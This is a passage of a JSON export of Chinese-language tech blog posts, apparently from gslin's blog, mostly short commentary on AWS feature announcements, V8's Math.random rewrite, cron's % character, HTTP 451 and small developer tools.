class=\"alignnone size-full wp-image-6194\" /></a>\r\n\r\n看畫面的資訊，功能都是本來在 Route53 上就有的，這次是設計界面讓使用者在 <a href=\"https://aws.amazon.com/console/\">AWS Management Console</a> (也就是 Web Console) 上更容易設定進階的分流。",
    "title": "更簡單設定 Route53 的方式：Route53 Traffic Flow"
  },
  {
    "id": "6195",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 也推出了好幾個新功能，不過有個有點奇怪的壓縮格式 <a href=\"http://www.bzip.org/\">bzip2</a> 出現了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-redshift-announces-tag-based-permissions-default-access-privileges-bzip2-compression-format/\">Amazon Redshift announces tag-based permissions, default access privileges, and BZIP2 compression format</a>」。\r\n\r\n<blockquote>BZIP2 data format: The COPY command now accepts data in BZIP2 compression format, in addition to GZIP and LZOP formats, when loading data into Amazon Redshift. Refer to Data Format Parameters for more details.</blockquote>\r\n\r\n既然出了 bzip2，為什麼不一起出個效率與壓縮率都更好的 <a href=\"http://tukaani.org/xz/\">xz</a>？但不管怎樣，總是多了一個壓縮率再更高一點的選擇... @_@",
    "title": "Amazon Redshift 的新功能 (BZIP2)"
  },
  {
    "id": "6197",
    "body": "在試了一陣子後才發現的問題，crontab 裡的百分比符號 <code>%</code> 是特殊字元：「<a href=\"https://serverfault.com/questions/274475/escaping-double-quotes-and-percent-signs-in-cron\">escaping double quotes and percent signs (%) in cron</a>」。\r\n\r\n取自 <a href=\"https://www.debian.org/\">Debian</a> 上的 <a href=\"http://manpages.debian.org/cgi-bin/man.cgi?query=crontab&amp;sektion=5\">crontab(5)</a>：\r\n\r\n<blockquote>Percent-signs (%) in the command, unless escaped with backslash (\\), will be changed into newline characters, and all data after the first % will be sent to the command as standard input.</blockquote>\r\n\r\n有點奇怪就是了，因為有 echo 可以用才對？",
    "title": "cron 裡面的百分比符號 % 有特殊意義..."
  },
  {
    "id": "6198",
    "body": "先前提到 <a href=\"https://chrome.google.com/webstore/detail/javascript-errors-notifie/jafmfknfnkoekkdocjiaipcnmkklaajd\">JavaScript Errors Notifier</a> 裡有 FairShare 的問題：「<a href=\"https://blog.gslin.org/archives/2015/10/22/6077/%E6%94%B9%E7%94%A8%E6%B2%92%E6%9C%89-fairshare-%E7%89%88%E6%9C%AC%E7%9A%84-javascript-errors-notifier/\">改用沒有 FairShare 版本的 JavaScript Errors Notifier</a>」。\r\n\r\n剛剛在 <a href=\"https://github.com/barbushin/javascript-errors-notifier/issues/28\">Urgent: Make javascript-errors-notifiers less invasive</a> 這邊看到作者已經從 <a href=\"https://chrome.google.com/webstore/category/apps\">Google Web Store</a> 上面的版本拿掉 FairShare 了：\r\n\r\n<blockquote>And yes, it was completely removed.</blockquote>\r\n\r\n另外也得到一些數字：\r\n\r\n<blockquote>This decision is about -$5000 of my yearly income, but, anyway, it makes me feel better :)</blockquote>",
    "title": "JavaScript Errors Notifier 移除 FairShare 了"
  },
  {
    "id": "6199",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 總算是宣佈支援 <a href=\"http://www.gzip.org/\">gzip</a> 壓縮了：「<a href=\"https://aws.amazon.com/blogs/aws/new-gzip-compression-support-for-amazon-cloudfront/\">New – Gzip Compression Support for Amazon CloudFront</a>」。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/cloudfront_console_compress_option_1.png\" rel=\"attachment wp-att-6200\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/cloudfront_console_compress_option_1.png\" alt=\"cloudfront_console_compress_option_1\" width=\"746\" height=\"1083\" class=\"alignnone size-full wp-image-6200\" /></a>\r\n\r\n不過在「<a href=\"https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/ServingCompressedFiles.html\">Serving Compressed Files</a>」文件裡提到，CloudFront 有可能不壓縮 (居然還有這種的...)：\r\n\r\n<blockquote>CloudFront is busy\r\n\r\nIn rare cases, when a CloudFront edge location is unusually busy, some files might not be compressed.</blockquote>\r\n\r\n另外看起來也沒辦法指定壓縮哪些 Content-Type，只能用選好的值。",
    "title": "CloudFront 總算支援 gzip 壓縮了..."
  },
  {
    "id": "6201",
    "body": "每次遇到 <a href=\"https://aws.amazon.com/\">AWS</a> 業務就會抱怨的功能總算推出來了，<a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-nat-gateway.html\">VPC NAT Gateways</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-managed-nat-network-address-translation-gateway-for-aws/\">New – Managed NAT (Network Address Translation) Gateway for AWS</a>」。\r\n\r\n與自己用 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 架設的不同點在於處理的流量也要計費，但好處是以前得自己處理 HA，現在 AWS 幫你做掉這塊，不過 scalability 還是限制在 10Gbps：\r\n\r\n<blockquote>The gateway has built-in redundancy for high availability. Each gateway that you create can handle up to 10 Gbps of bursty TCP, UDP, and ICMP traffic, and is managed by Amazon. You control the public IP address by assigning an Elastic IP Address when you create the gateway.</blockquote>\r\n\r\n要注意的是流量計費這塊收費很貴 (非常貴)，有大量連外需求的機器，還是用 public ip 直接連外會比較省，或是用老方法自己架設 NAT instances 處理。",
    "title": "AWS 推出 NAT Gateways"
  },
  {
    "id": "6202",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2015/11/25/6159/v8-%E7%9A%84-math-random-%E4%BA%82%E5%BA%A6%E4%B8%8D%E8%B6%B3%E7%9A%84%E5%95%8F%E9%A1%8C/\">V8 的 Math.random() 亂度不足的問題</a>」提到 <code>Math.random()</code> 因為使用 MWC1616 (<a href=\"http://arxiv.org/abs/physics/0609211\">Fast random number generation using 128 bit multimedia extension registers on Pentium class machines</a>) 而不夠亂的問題。\r\n\r\n這個問題在新版 V8 Engine 提出改善了：「<a href=\"http://v8project.blogspot.com/2015/12/theres-mathrandom-and-then-theres.html\">There's Math.random(), and then there's Math.random()</a>」。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/Untitled-drawing.png\" rel=\"attachment wp-att-6203\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/Untitled-drawing.png\" alt=\"Untitled drawing\" width=\"921\" height=\"441\" class=\"alignnone size-full wp-image-6203\" /></a>\r\n\r\n新實作的方法是 <a href=\"http://vigna.di.unimi.it/ftp/papers/xorshiftplus.pdf\">xorshift128+</a>，擁有極長的 period length：\r\n\r\n<blockquote>This has been pointed out to us, and having understood the problem and after some research, we decided to reimplement Math.random based on an algorithm called xorshift128+. It uses 128 bits of internal state, has a period length of 2<sup>128</sup> - 1, and passes all tests from the TestU01 suite.</blockquote>\r\n\r\n將會在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 49 (目前是 47) 引入：\r\n\r\n<blockquote>The new implementation landed in V8 4.9.41.0 within a few days of us becoming aware of the issue. It will become available with Chrome 49. Both Firefox and Safari switched to xorshift128+ as well.</blockquote>\r\n\r\n同時還是再次提醒，這不是 <a href=\"https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator\">CSPRNG</a>，要用在密碼學相關應用還是要用專門的 library 來產生 pseudo random number：\r\n\r\n<blockquote>Make no mistake however: even though xorshift128+ is a huge improvement over MWC1616, it still is not cryptographically secure.</blockquote>",
    "title": "V8 Engine 的 Math.random() 在新版被重寫了..."
  },
  {
    "id": "6204",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 t2.nano：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-update-t2-nano-instances-now-available/\">EC2 Update – T2.Nano Instances Now Available</a>」。\r\n\r\n只有 512MB 記憶體，拿來跑超小的東西還可以：\r\n\r\n<blockquote>Each t2.nano instance has 512 MiB of memory and 1 vCPU, and can run 32 or 64 bit operating systems and applications. They support EBS encryption and up to two Elastic Network Interfaces per instance.</blockquote>\r\n\r\n在存滿錢後 (t2 的特性) 可以全速跑 72 分鐘<del>，不過一開始就有 30 credits 可以用，跟其他 t2 的機器不太一樣，算是賣點之一</del>：\r\n\r\n<blockquote>The t2.nano offers the full performance of a high frequency Intel CPU core if your workload utilizes less than 5% of the core on average over 24 hours. You get full access to the CPU core when needed, as long as you maintain a positive CPU credit balance. Each newly launched t2.nano starts out with a CPU credit balance of 30 credits, and earns 3 more credits per hour, up to a maximum of 72. This means that each instance can burst to full-core performance for up to 72 minutes at a stretch.</blockquote>\r\n\r\n找機會來測試看看跟 t2.micro 的差異好了...",
    "title": "AWS 推出 t2.nano"
  },
  {
    "id": "6205",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在「<a href=\"https://googleonlinesecurity.blogspot.com/2015/12/indexing-https-pages-by-default.html\">Indexing HTTPS pages by default</a>」這邊宣佈了對 HTTPS 更進一步的支援。\r\n\r\n只要是 HTTPS 與 HTTP 內容相同，而且沒有被阻擋 (透過 <code>/robots.txt</code> 之類的)，就會優先索引 HTTPS 版本的頁面。\r\n\r\n另外也發現 blogspot.com 支援 HTTPS 了...",
    "title": "Google 宣佈再更進一步加強對 HTTPS 頁面的支援"
  },
  {
    "id": "6206",
    "body": "這次 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 發表了更細的監控機制，包括了 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6、<a href=\"https://mariadb.org/\">MariaDB</a>、<a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 這幾個產品線：「<a href=\"https://aws.amazon.com/blogs/aws/new-enhanced-monitoring-for-amazon-rds-mysql-5-6-mariadb-and-aurora/\">New – Enhanced Monitoring for Amazon RDS (MySQL 5.6, MariaDB, and Aurora)</a>」。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/rds_full_metrics_list_2.png\" rel=\"attachment wp-att-6207\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/rds_full_metrics_list_2.png\" alt=\"rds_full_metrics_list_2\" width=\"830\" height=\"869\" class=\"alignnone size-full wp-image-6207\" /></a>\r\n\r\n差不多是 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 可以提供的範圍，算是補的更齊全，讓找問題時的資料更多。不過顆粒細度可以到一秒鐘：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/rds_enable_enhanced_monitoring_2.png\" rel=\"attachment wp-att-6208\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/rds_enable_enhanced_monitoring_2.png\" alt=\"rds_enable_enhanced_monitoring_2\" width=\"568\" height=\"193\" class=\"alignnone size-full wp-image-6208\" /></a>\r\n\r\n不過要注意的是，t1.micro 與 m1.small 不支援：\r\n\r\n<blockquote>It works for MySQL 5.6, MariaDB, and Amazon Aurora, on all instance types except t1.micro and m1.small.</blockquote>",
    "title": "Amazon RDS 提更完整的監控機制"
  },
  {
    "id": "6209",
    "body": "也是 <a href=\"https://aws.amazon.com/\">AWS</a> 在年假前丟出來的功能：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-run-command-update-now-available-for-linux-instances/\">EC2 Run Command Update – Now Available for Linux Instances</a>」。\r\n\r\n原先只能用在 Windows Instance 上，現在則支援 Linux Instance 了：\r\n\r\n<blockquote>When we launched EC2 Run Command seven weeks ago (see my post, <a href=\"https://aws.amazon.com/blogs/aws/new-ec2-run-command-remote-instance-management-at-scale/\">New EC2 Run Command – Remote Instance Management at Scale</a> to learn more), I promised similar functionality for instances that run Linux. I am happy to be able to report that this functionality is available now and that you can start using it today.</blockquote>\r\n\r\n跟一般 SSH 登入不一樣的地方在於這個功能可以被 <a href=\"https://aws.amazon.com/iam/\">AWS IAM</a> 的系統稽核，所有透過這個功能下的指令都會被 <a href=\"https://aws.amazon.com/\">AWS</a> 記錄起來。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/run_command_linux_run_params_1.png\" rel=\"attachment wp-att-6210\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/run_command_linux_run_params_1.png\" alt=\"run_command_linux_run_params_1\" width=\"910\" height=\"439\" class=\"alignnone size-full wp-image-6210\" /></a>\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/run_command_linux_output_1.png\" rel=\"attachment wp-att-6211\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/run_command_linux_output_1.png\" alt=\"run_command_linux_output_1\" width=\"810\" height=\"440\" class=\"alignnone size-full wp-image-6211\" /></a>",
    "title": "AWS 的 EC2 Run Command 功能支援 Linux Instance"
  },
  {
    "id": "6212",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出的工具，可以阻擋 AWS 的 Key 被傳到 <a href=\"https://git-scm.com/\">Git</a> 上：「<a href=\"https://github.com/awslabs/git-secrets\">awslabs/git-secrets</a>」。可以看到說明：\r\n\r\n<blockquote><code>git-secrets</code> scans commits, commit messages, and <code>--no-ff</code> merges to prevent adding secrets into your git repositories. If a commit, commit message, or any commit in a <code>--no-ff</code> merge history matches one of your configured prohibited regular expression patterns, then the commit is rejected.</blockquote>\r\n\r\n算是小工具...",
    "title": "AWS 推出 Git Hook，阻擋 AWS 的 Key 被傳到 Git 上..."
  },
  {
    "id": "6213",
    "body": "之前 <a href=\"https://www.airbnb.com/\">AirBnB</a> 的屋主在屋內安裝攝影機而打官司的事情繼續被討論：「<a href=\"http://fusion.net/story/49806/beware-houseguests-cheap-home-surveillance-cameras-are-everywhere-now/\">Beware, houseguests: Cheap home surveillance cameras are everywhere now</a>」。有人提出自救方法，作者使用 DropCam 與 Withings 的 MAC Address Prefix 抓出網路攝影機：「<a href=\"https://julianoliver.com/output/log_2015-12-18_14-39\">Detect and disconnect WiFi cameras in that AirBnB you’re staying in</a>」。\r\n\r\n由於 MAC address 不需要知道 WPA passphase，所以可以直接掃出來。作者提供的程式需要使用 <a href=\"http://www.aircrack-ng.org/doku.php?id=airmon-ng\">airmon-ng</a> 來掃無線網路。\r\n\r\n另外作者有點出這個方法可以打掛透過無線網路的裝置 (像是 WiFi jammer)，用在安全機制上 (也就是這些產品本來的設計) 未必有效，還是建議用有線網路接：\r\n\r\n<blockquote>For the record, I’m well aware DropCam and Withings are also sold as baby monitors and home security products. The very fact this code exists should challenge you to reconsider the non-sane choice to rely on anything wireless for home security. More so, WiFi jammers - while illegal - are cheap. If you care, use cable.</blockquote>\r\n\r\n另外要注意的是，在美國地區使用這樣的技術可能是違法的，使用時請自己負責：\r\n\r\n<blockquote>It may be illegal to use this script in the US. Due to changes in FCC regulation in 2015, it appears intentionally de-authing WiFi clients, even in your own home, is now classed as ‘jamming’. Up until recently, jamming was defined as the indiscriminate addition of noise to signal - still the global technical definition. It’s worth noting here that all wireless routers necessarily ship with the ability to de-auth, as part of the 802.11 specification.</blockquote>",
    "title": "利用 MAC address 抓出網路攝影機 (AirBnB 事件後續的反制)"
  },
  {
    "id": "6214",
    "body": "之前用的 <a href=\"http://byobu.co/\">Byobu</a> 會吃 <code>$HOME/.screenrc</code>，但前陣子發現失效了 (我習慣把 screen 的 escape 換成 Ctrl-a + Ctrl-a，而非預設的 Ctal-a + a)，研究後發現得用 <code>.byobu/.screenrc</code> 這邊，所以就用 symbolic link 連出來：\r\n\r\n<pre>$ cd ~/.byobu; ln -s ../.screenrc</pre>\r\n\r\n不知道是什麼時候的改變...",
    "title": "新版 byobu 的 .screenrc"
  },
  {
    "id": "6215",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出的 <a href=\"https://github.com/awslabs/aws-shell\">aws-shell</a> 透過大量的 auto completion 幫助你管理 AWS 的各種資源，可以從官方說明看出是 <a href=\"https://aws.amazon.com/cli/\">AWS Command Line Interface</a> (<a href=\"https://github.com/aws/aws-cli\">aws-cli</a>) 的延伸：\r\n\r\n<blockquote>An integrated shell for working with the AWS CLI.</blockquote>\r\n\r\n程式是用 <a href=\"https://www.python.org/\">Python</a> 寫的，可以透過 <a href=\"https://pypi.python.org/pypi/pip\">pip</a> 直接安裝到自己的目錄下，官方說明支援 2.6.5+、2.7+、3.3+、3.4+，所以應該是不會有太多問題：\r\n\r\n<pre>$ pip install aws-shell</pre>\r\n\r\n第一次執行的時候放著讓他背景建立 index 會比較順。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/e95d85da-a328-11e5-8b8d-67566eccf9e3.png\" rel=\"attachment wp-att-6216\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/e95d85da-a328-11e5-8b8d-67566eccf9e3.png\" alt=\"e95d85da-a328-11e5-8b8d-67566eccf9e3\" width=\"836\" height=\"563\" class=\"alignnone size-full wp-image-6216\" /></a>\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/3648b4fc-a32c-11e5-8e18-92f028eb1cee.png\" rel=\"attachment wp-att-6217\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/3648b4fc-a32c-11e5-8e18-92f028eb1cee.png\" alt=\"3648b4fc-a32c-11e5-8e18-92f028eb1cee\" width=\"645\" height=\"89\" class=\"alignnone size-full wp-image-6217\" /></a>\r\n\r\n可以看到功能相當強，甚至可以連到 AWS 上取得資料。\r\n\r\n建議 <a href=\"https://github.com/\">GitHub</a> 上的首頁說明部份都先看完，然後裝起來先測試玩看看，對於真的要用的時候會方便很多。\r\n\r\n另外他執行時真的丟到 shell 去跑，所以你可以 pipe 出去處理，像是這樣：\r\n\r\n<pre>ec2 describe-instances | jq .</pre>",
    "title": "AWS 推出的 aws-shell"
  },
  {
    "id": "6219",
    "body": "前陣子送出的 HTTP Status Code 451 要通過成為標準了：「<a href=\"https://www.mnot.net/blog/2015/12/18/451\">Why 451?</a>」。\r\n\r\n<blockquote>Today, the IESG approved publication of \"<a href=\"https://datatracker.ietf.org/doc/draft-ietf-httpbis-legally-restricted-status/\">An HTTP Status Code to Report Legal Obstacles</a>\". It'll be an RFC after some work by the RFC Editor and a few more process bits, but effectively you can start using it now.</blockquote>\r\n\r\n取自「<a href=\"https://zh.wikipedia.org/wiki/%E8%8F%AF%E6%B0%8F451%E5%BA%A6\">華氏451度</a>」這部講出版物言論自由的作品 (紙的燃點是華氏 451 度)，在 Internet 時代，451 剛好在 HTTP Status Code 4xx 的範圍，被拿來用做「因法令限制而服法提供內容的 Status Code」。\r\n\r\n在文件開頭說明了這個代碼的用途：\r\n\r\n<blockquote>This document specifies a Hypertext Transfer Protocol (HTTP) status code for use when resource access is denied as a consequence of legal demands.</blockquote>",
    "title": "HTTP Status Code 451"
  },
  {
    "id": "6220",
    "body": "以前 <a href=\"https://aws.amazon.com/elasticmapreduce/\">Amazon EMR</a> 都只能接著 Public IP 跑 (<a href=\"https://aws.amazon.com/\">AWS</a> 端會認這個 IP)，現在可以丟進 Private Subnet 裡面跑：「<a href=\"https://aws.amazon.com/blogs/aws/new-launch-amazon-emr-clusters-in-private-subnets/\">New – Launch Amazon EMR Clusters in Private Subnets</a>」。\r\n\r\n看起來主要是半年前的功能的延伸。\r\n\r\n在今年五月時 <a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 內有直通 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的介面，不需要再通過 Internet 處理：「<a href=\"https://blog.gslin.org/archives/2015/05/12/5789/amazon-vpc-%E7%9A%84-private-subnet-%E4%B8%8D%E9%9C%80%E8%A6%81%E9%80%8F%E9%81%8E-nat-%E5%8E%BB-amazon-s3-%E6%8A%93%E8%B3%87%E6%96%99%E4%BA%86/\">Amazon VPC 的 Private Subnet 不需要透過 NAT 去 Amazon S3 抓資料了</a>」。\r\n\r\n不過這個架構上還是需要 NAT 連外 (連到 AWS 的系統溝通)，不論是傳統的 <a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html\">NAT Instances</a> 或是 <a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-nat-gateway.html\">NAT Gateways</a> (參考先前的文章「<a href=\"https://blog.gslin.org/archives/2015/12/18/6201/aws-%E6%8E%A8%E5%87%BA-nat-gateways/\">AWS 推出 NAT Gateways</a>」)。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/emr_vpc_private_subnet_nat_2.png\" rel=\"attachment wp-att-6221\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/emr_vpc_private_subnet_nat_2.png\" alt=\"emr_vpc_private_subnet_nat_2\" width=\"441\" height=\"494\" class=\"alignnone size-full wp-image-6221\" /></a>\r\n\r\n總算是搬進內部網路了...",
    "title": "Amazon EMR 可以在 Private Subnet 裡面執行了..."
  },
  {
    "id": "6222",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://developer.android.com/tools/sdk/ndk/index.html\">Android NDK</a> 宣佈向 <a href=\"http://clang.llvm.org/\">Clang</a> 靠過去的消息：「<a href=\"https://android.googlesource.com/platform/ndk.git/+/master/CHANGELOG.md\">Changelog for NDK Build 2490520</a>」。\r\n\r\nAndroid NDK 做為效能的加速手段而使用到 C 或是 C++，所以會使用對應的 compiler suite：\r\n\r\n<blockquote>The NDK is a toolset that allows you to implement parts of your app using native-code languages such as C and C++. Typically, good use cases for the NDK are CPU-intensive applications such as game engines, signal processing, and physics simulation.</blockquote>\r\n\r\n而粗體的兩段則說明了遷移：\r\n\r\n<blockquote><strong>PSA: Everyone should be switching to Clang.</strong></blockquote>\r\n\r\n以及：\r\n\r\n<blockquote><strong>GCC in the NDK is now deprecated.</strong></blockquote>",
    "title": "Android NDK 宣佈向 Clang 靠攏..."
  },
  {
    "id": "6223",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/gliderlabs/docker-alpine\">Super small Docker image based on Alpine Linux</a>」這個專案，看了一下是 <a href=\"https://busybox.net/\">BusyBox</a> 類的專案，不過套件支援度比起其他 BusyBox 專案多不少。\r\n\r\n基於 <a href=\"https://www.alpinelinux.org/\">Alpine Linux</a> 的系統：\r\n\r\n<blockquote>Alpine Linux is an independent, non-commercial, general purpose Linux distribution designed for power users who appreciate security, simplicity and resource efficiency.</blockquote>\r\n\r\n<a href=\"http://www.musl-libc.org/\">musl libc</a> 與 BusyBox：\r\n\r\n<blockquote>Alpine Linux is built around musl libc and busybox. This makes it smaller and more resource efficient than traditional GNU/Linux distributions. A container requires no more than 8 MB and a minimal installation to disk requires around 130 MB of storage. Not only do you get a fully-fledged Linux environment but a large selection of packages from the repository.</blockquote>\r\n\r\n可以拿來玩看看，不過一般狀態下應該還是會拿 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 或 <a href=\"https://www.debian.org/\">Debian</a> 的系統來用吧，環境標準多了。(不需要自己花時間找問題)",
    "title": "超小的 Docker Image"
  },
  {
    "id": "6224",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到有人在 <a href=\"https://gist.github.com/\">Gist</a> 上把 Springer 提供的數學類 PDF 書籍整理出來 (<a href=\"https://gist.github.com/bishboria/8326b17bbd652f34566a\">Direct links to free Springer maths books (pdf versions)</a>)，查了一下好像是「<a href=\"https://www.springer.com/gp/eproducts/springer-ebooks/springer-launches-full-book-download-feature/13896\">Springer launches full book download feature</a>」的一環？：\r\n\r\n<blockquote>Springer have made a bunch of maths books available for free, here are the direct links</blockquote>\r\n\r\n其中重複的書名連結表示有多個版本供下載。裡面有很多經典的書籍啊，以前上課的時候都翻過？",
    "title": "Springer 免費提供的數學書 (PDF)"
  },
  {
    "id": "6226",
    "body": "<a href=\"https://www.python.org/\">Python</a> 宣佈將會搬到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://mail.python.org/pipermail/core-workflow/2016-January/000345.html\">[core-workflow] We will be moving to GitHub</a>」，而目前應該是在 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 架的「<a href=\"https://hg.python.org/\">Python.org Mercurial repositories index</a>」上。\r\n\r\n看討論有很多反對意見啊...",
    "title": "Python 的 Repository 將搬到 GitHub 上"
  },
  {
    "id": "6228",
    "body": "應該是各項成本的降低的順勢降價，幅度約 5%：「<a href=\"https://aws.amazon.com/blogs/aws/happy-new-year-ec2-price-reduction-c4-m4-and-r3-instances/\">Happy New Year – EC2 Price Reduction (C4, M4, and R3 Instances)</a>」。\r\n\r\nC4 與 R3 是針對 CPU 與記憶體，M4 則是一般性的 instance，都是最新的系列。看起來是累積到過年後發一篇用的？價錢馬上生效，同時 On-Demand 的部份回朔到月初：\r\n\r\n<blockquote>Changes to the On-Demand and Dedicated host pricing are retroactive to the beginning of the month (January 1, 2016); the new Reserved instance pricing is in effect today. During the month, your billing estimates may not reflect the reduced prices. They will be reflected in the statement at the end of the month.</blockquote>\r\n\r\n接下來應該是陸陸續續恢復正常上班...",
    "title": "Amazon EC2 的 C4、M4、R3 降價 (約 5%)"
  },
  {
    "id": "6229",
    "body": "在一堆政府想要立法放後門進系統的情況下，荷蘭政府則反對這樣的想法，並且決定捐贈五十萬歐元 (目前約五十四萬美金) 給 <a href=\"https://www.openssl.org/\">OpenSSL</a>：「<a href=\"http://www.theregister.co.uk/2016/01/04/dutch_government_says_no_to_backdoors/\">Dutch govt says no to backdoors, slides $540k into OpenSSL without breaking eye contact</a>」：\r\n\r\n<blockquote>The Dutch government has formally opposed the introduction of backdoors in encryption products.\r\n\r\nA government position paper, published by the Ministry of Security and Justice on Monday and signed by the security and business ministers, concludes that \"the government believes that it is currently not appropriate to adopt restrictive legal measures against the development, availability and use of encryption within the Netherlands.\"</blockquote>\r\n\r\n以及：\r\n\r\n<blockquote>The formal position comes just months after the Dutch government approved a €500,000 ($540,000) grant to OpenSSL, the project developing the widely used open-source encryption software library.</blockquote>",
    "title": "荷蘭政府捐贈五十萬歐元給 OpenSSL"
  },
  {
    "id": "6230",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上面看到的工具，可以寫 script 在 <a href=\"https://www.apple.com/osx/\">Mac OS X</a> 的 Menu Bar 上面顯示資訊：「<a href=\"https://github.com/matryer/bitbar\">Put the output from any script in your Mac OS X Menu Bar</a>」。\r\n\r\n軟體可以用 brew 裝：\r\n\r\n<pre>brew cask install bitbar</pre>\r\n\r\n可以自己寫 (參考 <a href=\"https://github.com/matryer/bitbar/tree/master/Plugins#write-your-own\">Write your own</a> 這段)，也有現成的 <a href=\"https://github.com/matryer/bitbar/tree/master/Plugins\">Plugins</a> 可以參考 (所以你也可以看現成的 code 來釐清用法)。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/68747470733a2f2f7261772e6769746875622e636f6d2f6d6174727965722f6269746261722f6d61737465722f446f63732f4269744261722d4578616d706c652d426974636f696e732e706e67.png\" rel=\"attachment wp-att-6231\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/68747470733a2f2f7261772e6769746875622e636f6d2f6d6174727965722f6269746261722f6d61737465722f446f63732f4269744261722d4578616d706c652d426974636f696e732e706e67.png\" alt=\"68747470733a2f2f7261772e6769746875622e636f6d2f6d6174727965722f6269746261722f6d61737465722f446f63732f4269744261722d4578616d706c652d426974636f696e732e706e67\" width=\"1408\" height=\"152\" class=\"alignnone size-full wp-image-6231\" /></a>\r\n\r\n作者提供的截圖是 <a href=\"https://bitcoin.org/\">Bitcoin</a> 的賣價，這價錢多久前了... XD",
    "title": "用 Script (Shell、Perl、Python、...) 在 Mac OS X 的 Menu Bar 上面顯示資訊"
  },
  {
    "id": "6233",
    "body": "如同之前在「<a href=\"https://blog.gslin.org/archives/2015/11/06/6109/aws-%E5%B0%87%E5%9C%A8-2016-%E5%B9%B4%E6%88%90%E7%AB%8B%E5%8D%97%E9%9F%93%E6%A9%9F%E6%88%BF/\">AWS 將在 2016 年成立南韓機房</a>」提到的，<a href=\"https://aws.amazon.com/\">AWS</a> 正式宣佈啟用南韓機房：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-asia-pacific-seoul-region/\">Now Open – AWS Asia Pacific (Seoul) Region</a>」。\r\n\r\n機房代碼 <code>ap-northeast-2</code>，同時在官方文件上 <a href=\"https://docs.aws.amazon.com/general/latest/gr/rande.html\">Regions and Endpoints</a> 也已經更新了。\r\n\r\n整體價錢比東京低，但跟新加坡比起來有些比較高有些比較低。\r\n\r\n試著拿 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> endpoint (也就是 <code>s3-ap-northeast-2.amazonaws.com</code>) 測 latency。當初預測 latency 有機會比較低，但目前看起來線路都還沒最佳化過，都是走日本關西的點再過去，之後不知道有沒有機會直接過去...\r\n\r\n<a href=\"http://www.hinet.net/\">HiNet</a> 是走 <a href=\"http://www.ntt.co.jp/\">NTT</a> 進 AWS 在日本關西的機房換進去：\r\n\r\n<small><pre>  3.|-- snuh-3301.hinet.net        0.0%    10    0.2   0.2   0.2   0.3   0.0\r\n  4.|-- SNUH-3202.hinet.net        0.0%    10    0.3   0.3   0.3   0.3   0.0\r\n  5.|-- TPDT-3012.hinet.net        0.0%    10    2.3   5.5   1.4  22.0   6.3\r\n  6.|-- r4103-s2.tp.hinet.net      0.0%    10    0.5   0.5   0.4   0.5   0.0\r\n  7.|-- r4003-s2.tp.hinet.net      0.0%    10    0.5   9.1   0.5  44.1  18.1\r\n  8.|-- 211-72-233-41.HINET-IP.hi  0.0%    10   41.6  41.8  41.4  44.7   0.9\r\n  9.|-- ae-4.r23.osakjp02.jp.bb.g  0.0%    10   49.7  48.6  41.6  71.8  10.1\r\n 10.|-- ae-1.r01.osakjp02.jp.bb.g  0.0%    10   41.9  44.3  41.9  46.4   1.3\r\n 11.|-- ae-1.amazon.osakjp02.jp.b  0.0%    10   41.9  42.7  41.9  47.8   1.7\r\n 12.|-- 54.239.52.142              0.0%    10   